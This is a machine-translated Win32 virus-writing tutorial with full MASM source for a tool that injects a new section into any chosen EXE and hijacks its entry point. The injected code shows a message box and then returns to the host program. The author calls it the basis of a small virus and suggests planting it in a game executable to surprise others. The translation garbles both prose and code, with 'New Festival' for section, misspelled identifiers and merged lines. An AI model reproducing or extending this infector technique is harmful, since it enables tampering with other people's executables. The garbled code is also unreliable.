The virus is not mysterious and is not complicated. Quite many heroes have made outstanding contributions in this regard, such as 29A organization, my worship of their worship, really ... cough, don't throw eggs. In fact, what I want to say is: Technology is a double-edged sword, we should use it in a matter of beneficial to society. So do not use the code of this article to perform illegal discipline activities, otherwise I reserve the right to investigate.
This article is actually an old-fashioned thing. SO If you have already understood the method of writing a virus, please skip this article; if you have a curiosity to the virus, but I haven't known how to write, then this article should fit you. :)
The words retired. In a Windows environment, all executable files are PE formats, so one of the most important links to write viruses is to operate the PE file. But here I don't intend to explain the PE format, please read the reader to refer to the relevant information. I only analyze the difficulties I have encountered in actual writing:
First, the reason why computer viruses is called a virus because it is the same as a virus in nature, it needs to have a host - it itself cannot be performed separately. So, how do you make it code when the virus is parasitic on the host? Let's first look at some concepts.
The PE code map is divided into several sections, and the page boundary (4K) is aligned in the file. In general, the file will load the space starting at 400000h, and the first section is at 401000 hours, and the inlet address is also 401000h. How did this entry address 401000h calculate? If you view the image_optional_header of the PE header, it will find its imageBase usually 400000h, and AddressoreTryPoint is generally 1000h. 400000 1000 = 401000h, understand? Mastering this, we can add our own New Festival in PE, and then change this entry address to the first code to the New Festival. When the new festival is completed, recover the original entrance, so that the host's code can be continued.
There is such a statement at almost every Win32 virus:
Call nstart
NStart:
POP EBP
Sub ebp, offset nstart
What are these statements used? It seems that it is nothing to do with full dinner .... Let us take a closer consider. When the normal PE program is executed, its base address (as mentioned above) is typically 400000H, which is relocated by the operating system, so it always guarantees that the program is successfully loaded. However, if we insert a new code in PE, suppose it starts to start from 654321h, then things are not as simple. Because the host program does not expect the existence of this code, the operating system is not possible to correct this offset for you. So we have to make a relocation operation. The above statement is to obtain the actual offset address of the virus in the host. The CALL instruction is actually a combination of PUSH and JMP. When Call NStart, actually presses the address of the Call NStart's next instruction (that is, POP EBP), then JMP to NSTART, because the POP EBP has been pressed into the stack, so when it is actually executed to POP EBP When this instruction is actually, the address of the POP EBP instruction is placed in EBP. This gives the true offset address of the current virological code. This is also a technique commonly used in the virus. There is almost no exception.
There is also a key issue next again. Our virus code is attached to the host. If you want to use the API in the virus, you must first get the entry address of the API. But this is not an easy thing. Why do you say this way? Let's take a look at the following code: Invoke EXITPROCESS, 0
After compiler, after the connection, it is in memory such as:
: 00401015 CALL 0040101A
: 0040101A JMP DWORD PTR [00402000]
That is, the Call of EXITPROCESS is through the Call 0040101a, and the code at 0040101a is a JMP, pointing to [00402000], which is stored at [00402000] is the entry address of the true EXITPROCESS.
Why do you have to pass so much? Oh, actually I don't know. But we know is that call an API is actually calling its address in memory. The virus is affiliated after the host compiled, so if the virus is to run the API, you must specify the Entou address of the API.
Is it very annoying? Hoho, stick to it, you will make it very good.
To get an entry address of the API, there are many kinds of methods, for example, by hard coding, this is a relatively simple method, but its defect cannot be running under different Windows versions, but because it is simple to implement, this article is still This method is used.
Under the same version of Windows, the entry of the same core function is always constant (referring to the function exported by kernel32, gdi32, user32), so we can use the following method to get the API entry:
SZDLLNAME DB "User32", 0
SzmessageBoxa DB "MessageBoxa", 0
Messageboxa_addr DD 0
Invoke getModuleHandle, AddR szdllname
Invoke LoadLibrary, Addr Szdllname
Invoke GetProcaddress, Eax, Addr Szmessageboxa
Mov MessageBoxa_addr, EAX
In the virus we can use Call MessageBoxa_addr [EBP] to perform the MessageBoxa this API.
Ok, I have already explained what I think is more important. If you have anything unclear, please give me a letter. LCother@163.net
Below I gave an example program that adds a new section to the PE file to display the startup information. This East will add a new feasty at the end of the PE file, I named ".lc" to this section, which is attached to play a dialog when running, showing our prompt information. You can modify it, such as adding your own copyright information, then playing this "virus" in the main program of CS, then ... Oh, wait to see the surprised eyes of the house! In fact, as long as it makes some additional supplements, it can be considered a small virus.
It is worth noting that this program should write to the code segment (that is, SMC), so it should do this when compiling the connection:
RC Add_section.rc
ML / C / Coff add_section.asm
LINK / SUBSYSTEM: Windows /SECTION: Terxt
****************************************************************
; Program Name: Add New Festival to PE File Show Startup Information
; Author: Luo Cong
Date: 2002-11-10
; Source: http://www.luocong.com (Lao Luo "
This code uses viral technology, but is purely only for technology research.
; Remember: Do not use it for illegal purposes! ! ! ! ! !
; Note: If you want to reprint, keep the whole process and indicate:
Reprinted from "Lao Luo" (http://www.luoocong.com)
****************************************************************
.386
.Model flat, stdcall
Option CaseMAP: NONE
INCLUDE /MASM32/INCLUDE/Windows.inc
INCLUDE /MASM32/INCLUDE / WANEL32.INC
INCLUDE /MASM32/INCLUDE/USER32.INC
INCLUDE /MASM32/INCLUDE/COMDLG32.INC
INCLUDELIB /MASM32/LIB/kernel32.lib
INCLUDELIB /MASM32/LIB/USER32.LIB
INCLUDELIB /MASM32/LIB/COMDLG32.LIB
WNDPROC PROTO: DWORD,: DWORD,: DWORD,: DWORD
AddNewsection Proto: DWORD
; Very useful macro:
CText Macro Y: VARARG
Local Sym
Const segment
IFIDNI
SYM DB 0
Else
SYM DB Y, 0
ENDIF
Const ends
EXITM
ENDM
.const
IDi_lc EQU 1
IDC_Button_Open EQU 3000
MaxSize EQU 260
HEAD_LEN EQU SIZEOF Image_NT_HEADERS SIZEOF Image_SECTION_HEADER
.DATA
SZDLGNAME DB "lc_dialog", 0
SZCAPTION DB "Section Add Demo By LC", 0
OFN OpenFileName <>
SZFileName DB MaxSize DUP (0)
SZFilterstring DB "PE Executable", 0, "* .exe", 0, 0
SzmyTITLE DB "Please open a PE executable ...", 0
PE_HE_HEADER image_NT_HEADERS <0>
MY_SECTION Image_SECTION_HEADER <>
SZDLLNAME DB "User32", 0
SzmessageBoxa DB "MessageBoxa", 0
.DATA?
Hinstance Hinstance?
.code
MAIN:
Invoke GetModuleHandle, Nullmov Hinstance, EAX
Invoke Dialogboxparam, Eax, Offset Szdlgname, 0, WndProc, 0
Invoke EXITPROCESS, EAX
WNDPROC PROC HWND: HWND, UMSG: UINT, WPARAM: WPARAM, LPARAM: LPARAM
.IF uMSG == WM_Close
Invoke EndDialog, HWND, 0
.ELSEIF uMSG == WM_INITDIALOG
Set my icon:
Invoke Loadicon, Hinstance, IDi_LC
Invoke SendMessage, Hwnd, WM_SETICON, ICON_SMALL, EAX
.ELSEIF uMSG == WM_COMMAND
Mov Eax, WPARAM
Mov Edx, EAX
SHR EDX, 16
Movzx Eax, AX
.IF EDX == BN_Clicked
.IF EAX == IDCANCANCEL
Invoke EndDialog, Hwnd, Null
.elseif eax == idc_button_open || eax == idok
; Call the subroutine, add the section:
Invoke AddNewsection, HWND
.endif
.endif
.lse
Mov Eax, False
RET
.endif
Mov Eax, True
RET
WNDPROC ENDP
AddNewsection Proc Uses ECX HWND: HWND
Local Hfile: Handle
Local DWPE_HEADER_OFFSET: DWORD
Local DWFileReadwritten: DWORD
Local dwmysectionoffset: DWORD
Local dwlastsection_sizeofrawdata: DWORD
Local dwlastsection_pointertorawdata: DWORD
"Open File" dialog:
Mov ofn.lstructsize, Sizeof off
Push hwnd
POP OFN.HWNDOWNER
Push hinstance
POP OFN.HINSTANCE
Mov off.lpstrfilter, Offset SZFILTERSTRING
Mov ofn.lpstrfile, Offset SzFileName
Mov ofn.nmaxfile, maxsize
Mov ofn.flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORERERER
Mov off.lpstitle, Offset Szmytitle
Invoke GetopenFileName, Addr OFN
If you don't have the file name, you quit:
.IF EAX == 0
JMP ERR_CREATEFILE_EXIT
.endif
;open a file:
Invoke createfile, addr szfilename, generic_read or generic_write, /
File_share_read or file_share_write, null, open_existing, file_attribute_normal, null
.IF eax == invalid_handle_value
Invoke Messagebox, HWnd, CText ("Open Failed!"), addr szcaption, mb_ok or mb_iconhandjmp err_createfile_exit
.endif
Mov Hfile, EAX
*************************************************
Read the PE file header:
*************************************************
Invoke setfilepointer, HFile, 3ch, 0, File_Begin
Invoke Readfile, Hfile, Addr DWPE_HEADER_OFFSET, 4, ADDR DWFILEREADWRITEN, NULL
Invoke SetFilePointer, Hfile, DWPE_HEADER_OFFSET, 0, File_Begin
Invoke Readfile, Hfile, Addr PE_HEADER, HEAD_LEN, ADDR DWFILEREADWRITTEN, NULL
*************************************************
During the decision, if a valid PE file is, it continues:
*************************************************
.IF [PE_HEADER.SIGNATURE]! = Image_NT_SIGNATURE
If it is not a valid PE file, give a tip:
Invoke Messagebox, HWnd, ctext ("This is not a valid Win32 PE file!"), addr szcaption, MB_OK or MB_ICONHAND
JMP EXIT
.endif
*************************************************
Decision if there is enough space to store the New Festival:
*************************************************
Movzx Eax, [PE_HEADER.FILEHEADER.NUMBEROFSECTIONS]; how many sections have been added before adding new sections:
MOV ECX, 28H; 28H = SizeOf Image_section_Header
Mul ECX; EAX = Numberofsections * sizeof image_section_header
Add Eax, dwpe_header_offset; EAX = EAX PE file header offset
Add Eax, 18h; 18h = sizeof image_file_header
Movzx ECX, [PE_HEADER.FILEHEADER.SIZEOFOPTIONALHEADER]
Add Eax, ECX; EAX = Eax SizeOf Image_Optional_Header
Add Eax, 28h; Add a new section of the size
.IF EAX> [PE_Header.OptionalHeader.sizeOfheaders]]
If you are not enough, give a tip:
Invoke Messagebox, Null, CText ("There is not enough space to join a new feasty!"), addr szcaption, mb_ok or mb_iconhand
JMP EXIT
.endif
*************************************************
; Save the original entrance, then use:
*************************************************
MOV EAX, [PE_HEADER.OPTIONALHEADER.ADDRESSOFENTRYPOINT] MOV OLD_ADDRESSOFENTRYPOINT, EAX
Mov Eax, [PE_HEADER.OPTIONALHEADER.IMAGEBASE]
MOV OLD_IMAGEBASE, EAX
*********************************************************** *
; Calculate the offset address of the New Festival:
(In fact, "judging if there is enough space storage new festival") is basically the same as
*********************************************************** *
Movzx Eax, [PE_HEADER.FILEHEADER.NUMBEROFSECTIONS]
MOV ECX, 28H
Mul ECX; EAX = Numberofsections * sizeof image_section_header
Add Eax, 4H; 4H = SizeOf "PE / 0/0"
Add Eax, DWPE_HEADER_OFFSET
Add Eax, SizeOf Image_File_Header
Add Eax, SizeOf Image_Optional_Header
Mov dwmysectionoffset, EAX; now gets our new festive offset address
*************************************************
Fill information about our own section:
(This part please check the PE format, it is easy to understand, not much to say)
*************************************************
Mov DWORD PTR [my_section.name1], "cl."; name is called ".lc", huh, huh ...
MOV [my_section.misc.virtualsize], offset vend - offset vStart
Push [PE_HEADER.OPTIONALHEADER.SIZEOFIMAGE]
POP [my_section.virtualaddress]
Mov eax, [my_section.misc.virtualsize]
MOV ECX, [PE_HEADER.OPTIONALHEADER.FILALIGNMENT]
CDQ
Div ECX
INC EAX
Mul ECX
MOV [my_section.sizeofrawdata], EAX; SizeOfrawData is aligned to FileAlignment's integer times in the EXE file
Mov Eax, DWMYSECTIONOFFSET
Sub eax, 18h; this offset is "SizeOfrawData" positioning to the last section
Invoke setfilepointer, HFile, Eax, 0, File_Begin
Invoke Readfile, Hfile, Addr Dwlastsection_sizeofrawData, 4, Addr DWFileReadwritten, Null
Invoke Readfile, Hfile, Addr Dwlastsection_PointertorawData, 4, Addr DwfileReadwritten, Null
PointertorawData equivalent to each section is equal to its last section of SizeOfrawData PointertorawData:
Mov Eax, dwlastsection_sizeofrawdata
Add Eax, DwlastSection_PointertorawData
MOV [my_section.pointertorawdata], Eaxmov [my_section.pointertorelocations], 0H
MOV [my_section.pointertolinenumbers], 0H
MOV [my_section.numberofrelocations], 0H
MOV [my_section.numberoflinenumbers], 0H
MOV [my_section.characteristics], 0e0000020H; readable writable
*********************************************************** *
; Rewind image_section_header: (contain information about the new section)
*********************************************************** *
Invoke SetFilepointer, Hfile, DwmysectionOffset, 0, File_Begin
Invoke Writefile, Hfile, Addr my_section, sizeof image_section_header, addr dwfilereadwritten, NULL
*************************************************
Get linear address from Messageboxa:
*************************************************
Invoke getModuleHandle, AddR szdllname
Invoke LoadLibrary, Addr Szdllname
Invoke GetProcaddress, Eax, Addr Szmessageboxa
Mov MessageBoxa_addr, EAX
*************************************************
; Finally Write our New Festival in the file:
*************************************************
Invoke setfilepointer, hfile, 0, 0, file_end
PUSH 0
Lea Eax, DwFileReadwritten
Push EAX
Push [my_section.sizeofrawdata]
Lea Eax, VStart
Push EAX
Push Hfile
Call writefile
*********************************************************** *
; Change image_nt_headers, making the new festival first:
(Need to override SizeOfImage and AddressofentryPoint)
*********************************************************** *
INC [PE_HEADER.FILEHEADER.NUMBEROFSECTIONS]
Mov eax, [my_section.misc.virtualsize]
Mov ECX, [PE_HEADER.OPTIONALHEADER.SECTIONALIGNMENT]
CDQ
Div ECX
INC EAX
Mul ECX
Add Eax, [PE_HEADER.OPTIONALHEADER.SIZEOFIMAGE]
MOV [PE_HEADER.OPTIONALHEADER.SIZEOFIMAGE], EAX; SIZEOFIMAGE is a value of an integer multiple of SectionAlignment
Mov Eax, [my_section.virtualaddress]
MOV [PE_HEADER.OPTIONALHEADER.ADDRESSOFENTRYPOINT], EAX; now AddressofEntryPoint is the first instruction INVOKE SETFILEPOINTER, HFILE, DWPE_HEADER_OFFSET, 0, File_Begin
Invoke Writefile, Hfile, Addr PE_HEADER, SIZEOF Image_NT_HEADERS, ADDR DWFILEREADWRITEN, NULL
*************************************************
;carry out! Show success information:
*************************************************
Invoke Messagebox, Hwnd, Ctext ("Add New Festival Success!"), AddR Szcaption, MB_OK or MB_ICONITION
EXIT:
; Close the file:
Invoke Closehandle, HFile
ERR_CREATEFILE_EXIT:
RET
AddNewSECTION ENDP
*************************************************
Hehe, our own Dongdong: (like a virus?)
*************************************************
vStart:
Call nstart
NStart:
POP EBP
Sub eBp, offset nstart; get the actual offset address in the file in the file
; Display dialog:
Push MB_OK or MB_ICONInformation
Lea Eax, Szmycaption [EBP]
Push EAX
Lea Eax, Szmymsg [EBP]
Push EAX
PUSH 0
Call messageboxa_addr [ebp]
; Restore the original entrance address. When this section is executed, it will return to the original file entry to continue:
MOV EAX, OLD_IMAGEBASE [EBP]
Add eax, old_addressofentrypoint [EBP]
Push EAX
RET
;Variable definitions:
Messageboxa_addr DD 0
SZMYMSG DB "Add New Festival to PE file", 13, 10, 13, 10, /
"Lao Luo", 13, 10, "http://www.luocong.com", 0
SZMYCAPTION DB "Lao Luo Virus Basic Tutorial Series BY LC", 0
Old_ImageBase DD 0
Old_addressofentrypoint DD 0
Vend:
End main
******************* OVER *****************************
; by LC
Its resource file:
#include "resource.h"
#define IDC_STATIC -1
#define IDi_lc 1
#define IDC_Button_Open 3000
IDi_lc icon "lc.ico"
LC_Dialog Dialogex 10, 10, 195, 115
STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
Caption "Section Add Demo by LC, 2002-11-10" Font 9, "Song", 0, 0, 0x0
Begin
Groupbox "Info", IDC_Static, 5, 5, 185, 75
CText "- Add new festival to PE file display startup information -", IDC_STATIC, 10, 20, 175, 10
CText "- = Virus Tutorial Series = -", IDC_STATIC, 10, 30, 175, 10
CText "Lao Luo", IDC_STATIC, 10, 50, 175, 10
CText "www.luocong.com", IDC_STATIC, 10, 60, 175, 10
DEFPUSHBUTTON "Opens File (& O)", IDC_Button_Open, 70, 90, 55, 15, BS_FLAT | BS_CENTER
End